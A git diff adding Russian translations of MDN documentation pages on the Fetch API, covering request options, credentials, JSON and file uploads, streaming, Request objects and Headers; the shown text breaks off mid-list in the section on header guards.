+  <p><code>fetch() </code>может получать межсайтовые куки-файлы; таким образом вы можете установить межсайтовую сессию используя <code>fetch</code>.</p>
+ </li>
+ <li><code>fetch()</code> не будет посылать куки-файлы, если только не указано <code>credentials: 'same-origin'</code>.</li>
+</ul>
+
+<div class="note"><strong>Заметка</strong>: узнайте больше об использовании Fetch API на <a href="/en-US/docs/Web/API/Fetch_API/Using_Fetch">Using Fetch</a> и изучите концепции на <a href="/en-US/docs/Web/API/Fetch_API/Basic_concepts">Fetch basic concepts</a>.</div>
+
+<h3 id="Прерывание_выборки">Прерывание выборки</h3>
+
+<p>Браузеры начали добавлять экспериментальную поддержку для {{domxref("AbortController")}} и {{domxref("AbortSignal")}} интерфейсов (aka The Abort API), которые позволяют прерывать операции, такие как Fetch и XHR, если они еще не завершены. Подробности смотрите на страницах интерфейсов.</p>
+
+<h2 id="Fetch_интерфейсы">Fetch интерфейсы</h2>
+
+<dl>
+ <dt>{{DOMxRef("GlobalFetch")}}</dt>
+ <dd>Содержит метод <code>fetch()</code>, используемый для получения ресурсов.</dd>
+ <dt>{{DOMxRef("Headers")}}</dt>
+ <dd>Представляет заголовки запроса/ответа, позволяет запрашивать данные и выполнять различные действия в зависимости от результата.</dd>
+ <dt>{{DOMxRef("Request")}}</dt>
+ <dd>Запрашивает ресурс.</dd>
+ <dt>{{DOMxRef("Response")}}</dt>
+ <dd>Представляет ответ на запрос.</dd>
+</dl>
+
+<h2 id="Fetch_примесь">Fetch примесь</h2>
+
+<dl>
+ <dt>{{DOMxRef("Body")}}</dt>
+ <dd>Предоставляет методы, относящиеся к телу запроса/ответа, позволяя вам определять content-type и то, как ответ должен быть обработан.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+ <li><a href="https://github.com/github/fetch">Fetch полифил</a></li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API/Basic_concepts">Fetch базовые понятия</a></li>
+</ul>
diff --git a/files/ru/web/api/fetch_api/using_fetch/index.html b/files/ru/web/api/fetch_api/using_fetch/index.html
new file mode 100644
index 0000000000..f123f02792
--- /dev/null
+++ b/files/ru/web/api/fetch_api/using_fetch/index.html
@@ -0,0 +1,488 @@
+---
+title: Использование Fetch
+slug: Web/API/Fetch_API/Using_Fetch
+translation_of: Web/API/Fetch_API/Using_Fetch
+---
+<p><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> предоставляет интерфейс JavaScript для работы с запросами и ответами HTTP. Он также предоставляет глобальный метод {{domxref("GlobalFetch.fetch","fetch()")}}, который позволяет легко и логично получать ресурсы по сети асинхронно.</p>
+
+<p>Подобная функциональность ранее достигалась с помощью {{domxref("XMLHttpRequest")}}. Fetch представляет собой лучшую альтернативу, которая может быть легко использована другими технологиями, такими как {{domxref("ServiceWorker_API", "Service Workers")}}. Fetch также обеспечивает единое логическое место для определения других связанных с HTTP понятий, такие как CORS и расширения для HTTP.</p>
+
+<p>Обратите внимание, <code>fetch</code> спецификация отличается от <code>jQuery.ajax()</code> в основном в двух пунктах:</p>
+
+<ul>
+ <li>Promise возвращаемый вызовом <code>fetch()</code> <strong>не перейдет в состояние "отклонено" из-за ответа HTTP, который считается ошибкой</strong>, даже если ответ HTTP 404 или 500.  Вместо этого, он будет выполнен нормально (с значением false в статусе <code>ok</code> ) и будет отклонён только при сбое сети или если что-то помешало запросу выполниться.</li>
+ <li>По умолчанию, <code>fetch</code> <strong>не будет отправлять или получать cookie файлы </strong>с сервера, в результате чего запросы будут осуществляться без проверки подлинности, что приведёт<span class="tlid-translation translation" lang="ru"><span title=""> к неаутентифицированным запросам</span></span>, если сайт полагается на проверку пользовательской сессии (для отправки cookie файлов в аргументе <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch#Parameters">init options</a> должно быть задано значение свойства <em>credentials</em> отличное от значения по умолчанию <code>omit</code>).</li>
+</ul>
+
+<div class="blockIndicator note">
+<p>25 августа 2017 г. в спецификации изменилось значение по умолчанию свойства <em>credentials</em> на <code>same-origin</code>. Firefox применяет это изменение с версии 61.0b13.</p>
+</div>
+
+<p>Базовый запрос на получение данных действительно прост в настройке. Взгляните на следующий код:</p>
+
+<pre>fetch('http://example.com/movies.json')
+  .then((response) =&gt; {
+    return response.json();
+  })
+  .then((data) =&gt; {
+    console.log(data);
+  });</pre>
+
+<p>Здесь мы забираем JSON файл по сети и выводим его содержимое в консоль. Самый простой способ использования <code>fetch()</code> заключается в вызове этой функии с одним аргументом — строкой, содержащей путь к ресурсу, который вы хотите получить — которая возвращает promise, содержащее ответ (объект {{domxref("Response")}}).</p>
+
+<p>Конечно, это просто HTTP-ответ, а не фактический JSON. Чтобы извлечь содержимое тела JSON из ответа, мы используем {{domxref("Body.json","json()")}} метод  (определён миксином {{domxref("Body")}}, который реализован в объектах {{domxref("Request")}} и {{domxref("Response")}}.)</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Миксин Body имеет подобные методы для извлечения других типов контента; см. раздел {{anch("Тело")}}.</p>
+</div>
+
+<p>Fetch-запросы контролируются посредством директивы <code>connect-src</code> (<a href="/en-US/docs/Security/CSP/CSP_policy_directives">Content Security Policy</a>), а не директивой извлекаемых ресурсов.</p>
+
+<h3 id="Установка_параметров_запроса">Установка параметров запроса</h3>
+
+<p>Метод <code>fetch()</code> может принимать второй параметр - обьект <code>init</code>, который позволяет вам контролировать различные настройки:</p>
+
+<pre class="brush: js">// Пример отправки POST запроса:
+async function postData(url = '', data = {}) {
+  // Default options are marked with *
+  const response = await fetch(url, {
+    method: 'POST', // *GET, POST, PUT, DELETE, etc.
+    mode: 'cors', // no-cors, *cors, same-origin
+    cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
+    credentials: 'same-origin', // include, *same-origin, omit
+    headers: {
+      'Content-Type': 'application/json'
+      // 'Content-Type': 'application/x-www-form-urlencoded',
+    },
+    redirect: 'follow', // manual, *follow, error
+    referrerPolicy: 'no-referrer', // no-referrer, *client
+    body: JSON.stringify(data) // body data type must match "Content-Type" header
+  });
+  return await response.json(); // parses JSON response into native JavaScript objects
+}
+
+postData('https://example.com/answer', { answer: 42 })
+  .then((data) =&gt; {
+    console.log(data); // JSON data parsed by `response.json()` call
+  });</pre>
+
+<p>С подробным описанием функции и полным списком параметров вы можете ознакомиться на странице {{domxref("GlobalFetch.fetch","fetch()")}}.</p>
+
+<h3 id="Отправка_запроса_с_учётными_данными">Отправка запроса с учётными данными</h3>
+
+<p>Чтобы браузеры могли отправлять запрос с учётными данными (даже для cross-origin запросов), добавьте <code>credentials: 'include'</code> в объект <code>init</code>, передаваемый вами в метод <code>fetch()</code>:</p>
+
+<pre class="brush: js"><code>fetch('https://example.com', {
+  credentials: 'include'
+})</code></pre>
+
+<p>Если вы хотите отправлять запрос с учетными данными только если URL принадлежит одному источнику (origin) что и вызывающий его скрипт, добавьте <code>credentials: 'same-origin'</code>.</p>
+
+<pre><code>// Вызывающий скрипт принадлежит источнику 'https://example.com'
+
+fetch('https://example.com', {
+  credentials: 'same-origin'
+})</code></pre>
+
+<p>Напротив, чтобы быть уверенным, что учётные данные не передаются с запросом, используйте <code>credentials: 'omit'</code>:</p>
+
+<pre class="brush: js"><code>fetch('https://example.com', {
+  credentials: 'omit'
+})</code></pre>
+
+<h3 id="Отправка_данных_в_формате_JSON">Отправка данных в формате JSON</h3>
+
+<p>При помощи {{domxref("GlobalFetch.fetch","fetch()")}} можно отправлять POST-запросы в формате JSON.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> url <span class="operator token">=</span> <span class="string token">'https://example.com/profile'</span><span class="punctuation token">;</span>
+<span class="keyword token">const</span> data <span class="operator token">=</span> <span class="punctuation token">{</span> username<span class="punctuation token">:</span> <span class="string token">'example'</span> <span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="keyword token">try</span> <span class="punctuation token">{</span>
+  <span class="keyword token">const</span> response <span class="operator token">=</span> <span class="keyword token">await</span> <span class="function token">fetch</span><span class="punctuation token">(</span>url<span class="punctuation token">,</span> <span class="punctuation token">{</span>
+    method<span class="punctuation token">:</span> <span class="string token">'POST'</span><span class="punctuation token">,</span> <span class="comment token">// или 'PUT'</span>
+    body<span class="punctuation token">:</span> <span class="constant token">JSON</span><span class="punctuation token">.</span><span class="function token">stringify</span><span class="punctuation token">(</span>data<span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="comment token">// данные могут быть 'строкой' или {объектом}!</span>
+    headers<span class="punctuation token">:</span> <span class="punctuation token">{</span>
+      <span class="string token">'Content-Type'</span><span class="punctuation token">:</span> <span class="string token">'application/json'</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">const</span> json <span class="operator token">=</span> <span class="keyword token">await</span> response<span class="punctuation token">.</span><span class="function token">json</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Успех:'</span><span class="punctuation token">,</span> <span class="constant token">JSON</span><span class="punctuation token">.</span><span class="function token">stringify</span><span class="punctuation token">(</span>json<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">catch</span> <span class="punctuation token">(</span>error<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="string token">'Ошибка:'</span><span class="punctuation token">,</span> error<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Загрузка_файла_на_сервер">Загрузка файла на сервер</h3>
+
+<p>На сервер можно загрузить файл, используя комбинацию HTML-элемента <code>&lt;input type="file" /&gt;</code>, {{domxref("FormData.FormData","FormData()")}} и {{domxref("WindowOrWorkerGlobalScope/fetch","fetch()")}}.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> formData <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">FormData</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">const</span> fileField <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'input[type="file"]'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+formData<span class="punctuation token">.</span><span class="function token">append</span><span class="punctuation token">(</span><span class="string token">'username'</span><span class="punctuation token">,</span> <span class="string token">'abc123'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+formData<span class="punctuation token">.</span><span class="function token">append</span><span class="punctuation token">(</span><span class="string token">'avatar'</span><span class="punctuation token">,</span> fileField<span class="punctuation token">.</span>files<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">try</span> <span class="punctuation token">{</span>
+  <span class="keyword token">const</span> response <span class="operator token">=</span> <span class="keyword token">await</span> <span class="function token">fetch</span><span class="punctuation token">(</span><span class="string token">'https://example.com/profile/avatar'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>
+    method<span class="punctuation token">:</span> <span class="string token">'PUT'</span><span class="punctuation token">,</span>
+    body<span class="punctuation token">:</span> formData
+  <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">const</span> result <span class="operator token">=</span> <span class="keyword token">await</span> response<span class="punctuation token">.</span><span class="function token">json</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Успех:'</span><span class="punctuation token">,</span> <span class="constant token">JSON</span><span class="punctuation token">.</span><span class="function token">stringify</span><span class="punctuation token">(</span>result<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">catch</span> <span class="punctuation token">(</span>error<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="string token">'Ошибка:'</span><span class="punctuation token">,</span> error<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Загрузка_нескольких_файлов_на_сервер">Загрузка нескольких файлов на сервер</h3>
+
+<p>На сервер можно загрузить несколько файлов, используя комбинацию HTML-элемента <code>&lt;input type="file" multiple /&gt;</code>, {{domxref("FormData.FormData","FormData()")}} и {{domxref("WindowOrWorkerGlobalScope/fetch","fetch()")}}.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> formData <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">FormData</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">const</span> photos <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'input[type="file"][multiple]'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+formData<span class="punctuation token">.</span><span class="function token">append</span><span class="punctuation token">(</span><span class="string token">'title'</span><span class="punctuation token">,</span> <span class="string token">'Мой отпуск в Вегасе'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">let</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> photos<span class="punctuation token">.</span>files<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  formData<span class="punctuation token">.</span><span class="function token">append</span><span class="punctuation token">(</span><span class="string token">'photos'</span><span class="punctuation token">,</span> photos<span class="punctuation token">.</span>files<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">try</span> <span class="punctuation token">{</span>
+  <span class="keyword token">const</span> response <span class="operator token">=</span> <span class="keyword token">await</span> <span class="function token">fetch</span><span class="punctuation token">(</span><span class="string token">'https://example.com/posts'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>
+    method<span class="punctuation token">:</span> <span class="string token">'POST'</span><span class="punctuation token">,</span>
+    body<span class="punctuation token">:</span> formData
+  <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">const</span> result <span class="operator token">=</span> <span class="keyword token">await</span> response<span class="punctuation token">.</span><span class="function token">json</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Успех:'</span><span class="punctuation token">,</span> <span class="constant token">JSON</span><span class="punctuation token">.</span><span class="function token">stringify</span><span class="punctuation token">(</span>result<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">catch</span> <span class="punctuation token">(</span>error<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="string token">'Ошибка:'</span><span class="punctuation token">,</span> error<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Обработка_текстового_файла_построчно">Обработка текстового файла построчно</h3>
+
+<p>Фрагменты данных, получаемые из ответа, не разбиваются на строки автоматически (по крайней мере с достаточной точностью) и представляют собой не строки, а объекты {{jsxref("Uint8Array","Uint8Array")}}. Если вы хотите загрузить текстовый файл и обрабатывать его по мере загрузки построчно, то на вас самих ложится груз ответственности за обработку всех упомянутых моментов. Как пример, далее представлен один из способов подобной обработки с помощью создания построчного итератора (для простоты приняты следующие допущения: текст приходит в кодировке UTF-8 и ошибки получения не обрабатываются).</p>
+
+<pre class="brush: js">async function* makeTextFileLineIterator(fileURL) {
+  const utf8Decoder = new TextDecoder("utf-8");
+  let response = await fetch(fileURL);
+  let reader = response.body.getReader();
+  let {value: chunk, done: readerDone} = await reader.read();
+  chunk = chunk ? utf8Decoder.decode(chunk) : "";
+
+  let re = /\n|\r|\r\n/gm;
+  let startIndex = 0;
+  let result;
+
+  for (;;) {
+    let result = re.exec(chunk);
+    if (!result) {
+      if (readerDone) {
+        break;
+      }
+      let remainder = chunk.substr(startIndex);
+      ({value: chunk, done: readerDone} = await reader.read());
+      chunk = remainder + (chunk ? utf8Decoder.decode(chunk) : "");
+      startIndex = re.lastIndex = 0;
+      continue;
+    }
+    yield chunk.substring(startIndex, result.index);
+    startIndex = re.lastIndex;
+  }
+  if (startIndex &lt; chunk.length) {
+    //последняя строка не имеет символа перевода строки в конце
+    yield chunk.substr(startIndex);
+  }
+}
+
+for await (let line of makeTextFileLineIterator(urlOfFile)) {
+  processLine(line);
+}</pre>
+
+<h3 id="Проверка_успешности_запроса">Проверка успешности запроса</h3>
+
+<p>В методе {{domxref("GlobalFetch.fetch","fetch()")}} promise будет отклонён (reject) с {{jsxref("TypeError")}}, когда случится ошибка сети или не будет сконфигурирован CORS на стороне запрашиваемого сервера, хотя обычно это означает проблемы доступа или аналогичные — для примера, 404 не является сетевой ошибкой. Для достоверной проверки успешности <code>fetch()</code> будет включать проверку того, что promise успешен (resolved), затем проверку того, что  значение свойства {{domxref("Response.ok")}} является true. Код будет выглядеть примерно так:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">try</span> <span class="punctuation token">{</span>
+  <span class="keyword token">const</span> response <span class="operator token">=</span> <span class="keyword token">await</span> <span class="function token">fetch</span><span class="punctuation token">(</span><span class="string token">'flowers.jpg'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>response<span class="punctuation token">.</span>ok<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">throw</span> <span class="keyword token">new</span> <span class="class-name token">Error</span><span class="punctuation token">(</span><span class="string token">'Ответ сети был не ok.'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">const</span> myBlob <span class="operator token">=</span> <span class="keyword token">await</span> response<span class="punctuation token">.</span><span class="function token">blob</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">const</span> objectURL <span class="operator token">=</span> <span class="constant token">URL</span><span class="punctuation token">.</span><span class="function token">createObjectURL</span><span class="punctuation token">(</span>myBlob<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  myImage<span class="punctuation token">.</span>src <span class="operator token">=</span> objectURL<span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">catch</span> <span class="punctuation token">(</span>error<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Возникла проблема с вашим fetch запросом: '</span><span class="punctuation token">,</span> error<span class="punctuation token">.</span>message<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Составление_своего_объекта_запроса">Составление своего объекта запроса</h3>
+
+<p>Вместо передачи пути ресурса, который вы хотите запросить вызовом <code>fetch()</code>, вы можете создать объект запроса, используя конструктор {{domxref("Request.Request","Request()")}}, и передать его в <code>fetch()</code> аргументом:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> myHeaders <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Headers</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">const</span> myInit <span class="operator token">=</span> <span class="punctuation token">{</span>
+  method<span class="punctuation token">:</span> <span class="string token">'GET'</span><span class="punctuation token">,</span>
+  headers<span class="punctuation token">:</span> myHeaders<span class="punctuation token">,</span>
+  mode<span class="punctuation token">:</span> <span class="string token">'cors'</span><span class="punctuation token">,</span>
+  cache<span class="punctuation token">:</span> <span class="string token">'default'</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="keyword token">const</span> myRequest <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Request</span><span class="punctuation token">(</span><span class="string token">'flowers.jpg'</span><span class="punctuation token">,</span> myInit<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">const</span> response <span class="operator token">=</span> <span class="keyword token">await</span> <span class="function token">fetch</span><span class="punctuation token">(</span>myRequest<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">const</span> myBlob <span class="operator token">=</span> <span class="keyword token">await</span> response<span class="punctuation token">.</span><span class="function token">blob</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">const</span> objectURL <span class="operator token">=</span> <span class="constant token">URL</span><span class="punctuation token">.</span><span class="function token">createObjectURL</span><span class="punctuation token">(</span>myBlob<span class="punctuation token">)</span><span class="punctuation token">;</span>
+myImage<span class="punctuation token">.</span>src <span class="operator token">=</span> objectURL<span class="punctuation token">;</span></code></pre>
+
+<p>Конструктор <code>Request()</code> принимает точно такие же параметры, как и метод <code>fetch()</code>. Вы даже можете передать существующий объект запроса для создания его копии:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> anotherRequest <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Request</span><span class="punctuation token">(</span>myRequest<span class="punctuation token">,</span> myInit<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Довольно удобно, когда тела запроса и ответа используются единожды (прим.пер.: <em>"are one use only"</em>). Создание копии как показано позволяет вам использовать запрос/ответ повторно, при изменении опций <code>init</code>, при желании. Копия должна быть сделана до прочтения тела, а чтение тела в копии также пометит его прочитанным в исходном запросе.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Также есть метод {{domxref("Request.clone","clone()")}}, создающий копии. Оба метода создания копии прекратят работу с ошибкой если тело оригинального запроса или ответа уже было прочитано, но чтение тела клонированного ответа или запроса не приведёт к маркировке оригинального.</p>
+</div>
+
+<h2 id="Заголовки">Заголовки</h2>
+
+<p>Интерфейс {{domxref("Headers")}} позволяет вам создать ваш собственный объект заголовков через конструктор {{domxref("Headers.Headers","Headers()")}}. Объект заголовков - простая мультикарта имён-значений:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> content <span class="operator token">=</span> <span class="string token">'Hello World'</span><span class="punctuation token">;</span>
+<span class="keyword token">const</span> myHeaders <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Headers</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+myHeaders<span class="punctuation token">.</span><span class="function token">append</span><span class="punctuation token">(</span><span class="string token">'Content-Type'</span><span class="punctuation token">,</span> <span class="string token">'text/plain'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+myHeaders<span class="punctuation token">.</span><span class="function token">append</span><span class="punctuation token">(</span><span class="string token">'Content-Length'</span><span class="punctuation token">,</span> content<span class="punctuation token">.</span>length<span class="punctuation token">.</span><span class="function token">toString</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+myHeaders<span class="punctuation token">.</span><span class="function token">append</span><span class="punctuation token">(</span><span class="string token">'X-Custom-Header'</span><span class="punctuation token">,</span> <span class="string token">'ProcessThisImmediately'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>То же может быть достигнуто путём передачи массива массивов или литерального объекта конструктору:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> myHeaders <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Headers</span><span class="punctuation token">(</span><span class="punctuation token">{</span>
+  <span class="string token">'Content-Type'</span><span class="punctuation token">:</span> <span class="string token">'text/plain'</span><span class="punctuation token">,</span>
+  <span class="string token">'Content-Length'</span><span class="punctuation token">:</span> content<span class="punctuation token">.</span>length<span class="punctuation token">.</span><span class="function token">toString</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+  <span class="string token">'X-Custom-Header'</span><span class="punctuation token">:</span> <span class="string token">'ProcessThisImmediately'</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Содержимое может быть запрошено и извлечено:</p>
+
+<pre class="brush: js">console.log(myHeaders.has("Content-Type")); // true
+console.log(myHeaders.has("Set-Cookie")); // false
+myHeaders.set("Content-Type", "text/html");
+myHeaders.append("X-Custom-Header", "AnotherValue");
+
+console.log(myHeaders.get("Content-Length")); // 11
+console.log(myHeaders.get("X-Custom-Header")); // ["ProcessThisImmediately", "AnotherValue"]
+
+myHeaders.delete("X-Custom-Header");
+console.log(myHeaders.get("X-Custom-Header")); // [ ]</pre>
+
+<p>Некоторые из этих операций могут быть использованы только в {{domxref("ServiceWorker_API","ServiceWorkers")}}, но они предоставляют более удобный API для манипуляции заголовками.</p>
+
+<p>Все методы Headers выбрасывают <code>TypeError</code>, если имя используемого заголовка не является валидным именем HTTP Header. Операции мутации выбросят <code>TypeError</code> если есть защита от мутации (смотрите ниже) (прим.пер.: <em>"if there is an immutable guard"</em>). В противном случае они прерываются молча. Например:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> myResponse <span class="operator token">=</span> Response<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">try</span> <span class="punctuation token">{</span>
+  myResponse<span class="punctuation token">.</span>headers<span class="punctuation token">.</span><span class="function token">set</span><span class="punctuation token">(</span><span class="string token">'Origin'</span><span class="punctuation token">,</span> <span class="string token">'http://mybank.com'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">catch</span> <span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Не могу притвориться банком!'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Хорошим вариантом использования заголовков  является проверка корректности типа контента перед его обработкой. Например:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">try</span> <span class="punctuation token">{</span>
+  <span class="keyword token">const</span> response <span class="operator token">=</span> <span class="keyword token">await</span> <span class="function token">fetch</span><span class="punctuation token">(</span>myRequest<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">const</span> contentType <span class="operator token">=</span> response<span class="punctuation token">.</span>headers<span class="punctuation token">.</span><span class="function token">get</span><span class="punctuation token">(</span><span class="string token">'content-type'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>contentType <span class="operator token">||</span> <span class="operator token">!</span>contentType<span class="punctuation token">.</span><span class="function token">includes</span><span class="punctuation token">(</span><span class="string token">'application/json'</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">throw</span> <span class="keyword token">new</span> <span class="class-name token">TypeError</span><span class="punctuation token">(</span><span class="string token">"Ой, мы не получили JSON!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">const</span> json <span class="operator token">=</span> <span class="keyword token">await</span> response<span class="punctuation token">.</span><span class="function token">json</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="comment token">/* Дальнейшая обработка JSON */</span>
+<span class="punctuation token">}</span> <span class="keyword token">catch</span> <span class="punctuation token">(</span>error<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>error<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Защита">Защита</h3>
+
+<p>С тех пор как заголовки могут передаваться в запросе, приниматься в ответе и имеют различные ограничения в отношении того, какая информация может и должна быть изменена, заголовки имеют свойство guard. Это не распространяется на Web, но влияет на то, какие операции мутации доступны для объекта заголовков.</p>
+
+<p>Возможные значения:</p>
+
+<ul>
+ <li><code>none</code>: по умолчанию.</li>
+ <li><code>request</code>: защита объекта заголовков, полученного по запросу ({{domxref("Request.headers")}}).</li>
